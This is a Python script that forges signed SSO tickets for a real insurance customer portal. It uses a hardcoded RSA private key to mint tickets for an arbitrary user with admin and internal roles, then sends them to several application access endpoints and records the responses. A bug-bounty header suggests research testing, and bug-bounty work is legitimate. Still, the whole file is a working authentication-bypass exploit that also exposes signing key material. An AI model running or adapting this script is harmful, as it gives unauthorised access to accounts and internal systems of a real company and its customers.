from curl_cffi import requests
from urllib.parse import quote
import base64,hashlib,time,secrets,json
HOST='mein-portal.baloise.de'; BASE='https://'+HOST+'/auth'
H0={'X-Bug-Bounty':'dwbzn'}
N=int('ca9826ba06d8381081e408714dea920103b1399d8e1fa2abc28c2b9227e4e425159027a07b82e5202db2045d8d75fb37df5d4ac52e8fe8370a659ff14e615f1b',16)
D=int('4879b7d8f2dbe4ea9add0ddc22c898a4be42675f22d9d462e7bd275528ea6c66e8dc297f31aba17c85e9ac83931325c24e6bee9a98042306de948acfcfa65cb1',16)
DI=bytes.fromhex('3021300906052b0e03021a05000414')
def enc(x):return quote(x,safe='')
def ticket(user):
 keys=['eServiceUser','Identifier','PartnerID','PartnerId','tgic_id','el_baloise_userid','userId','uid','sub','login','username','UserToken','SessionToken','EAAS_GSID','DISTINGUISHED_NAME','mail']
 vals=[]
 for k in keys:
  v=user+'@invalid.example' if k=='mail' else user
  vals.append(enc(k)+'='+enc(v))
 roles=['authenticated','user','admin','administrator','portal_ao','portal_mo','portal_si','venta','sas_va','antragsfreigabe','bsi_crm']
 clear='userids:'+','.join(vals)+';roles:'+','.join(enc(x) for x in roles)+';'
 exp=int(time.time()*1000)+3600_000
 msg=clear.encode('iso-8859-1')+exp.to_bytes(8,'big')
 di=DI+hashlib.sha1(msg).digest(); em=b'\0\1'+b'\xff'*(64-len(di)-3)+b'\0'+di
 sig=pow(int.from_bytes(em,'big'),D,N).to_bytes(64,'big')
 raw=bytearray(b'\1'+sig+msg)
 good=base64.b64encode(raw).decode()
 raw[5]^=1
 bad=base64.b64encode(raw).decode()
 return clear,quote(good,safe=''),quote(bad,safe='')
def call(app,label,t):
 s=requests.Session(impersonate='chrome')
 r=s.get(BASE+'/',headers=H0,allow_redirects=False,timeout=20)
 csrf=s.cookies.get('CSRFT759-S') or ''
 h={**H0,'X-Same-Domain':'1','X-CSRFT759':csrf,'Content-Type':'application/json','Accept':'application/json,application/vnd.api+json','X-IAM-SSO-Ticket':t}
 s.delete(BASE+'/rest/public/authentication/flow',headers=h,allow_redirects=False,timeout=20)
 if app=='default': path='/rest/public/authentication/default-application/access'
 else:path=f'/rest/public/authentication/applications/{app}/access'
 st=time.perf_counter(); r=s.post(BASE+path,headers=h,data='null',allow_redirects=False,timeout=25); ms=(time.perf_counter()-st)*1000
 return {'app':app,'case':label,'status':r.status_code,'size':len(r.content),'ms':round(ms,1),'exchange':getattr(r,'toadex_exchange_id',None),'location':r.headers.get('location'),'forward':r.headers.get('x-forward-url'),'esp':bool(r.headers.get('x-esp-ticket')),'body':r.text[:3000]}
user='bugbounty-dwbzn-espcomma-'+secrets.token_hex(4)
clear,good,bad=ticket(user)
print(json.dumps({'user':user,'clear':clear}),flush=True)
apps=['el_account_linking','el_account_linking2','portal_ao','portal_mo','portal_si','venta','sas_va','antragsfreigabe','bsi_crm','default']
rows=[]
for app in apps:
 for label,t in [('bad-control',bad),('fixed-key-valid',good)]:
  try:x=call(app,label,t)
  except Exception as e:x={'app':app,'case':label,'error':repr(e)}
  rows.append(x); print(json.dumps(x,ensure_ascii=False),flush=True)
open('work/scratch/liferay-critical/esp-comma-live.json','w').write(json.dumps({'user':user,'clear':clear,'rows':rows},indent=2))
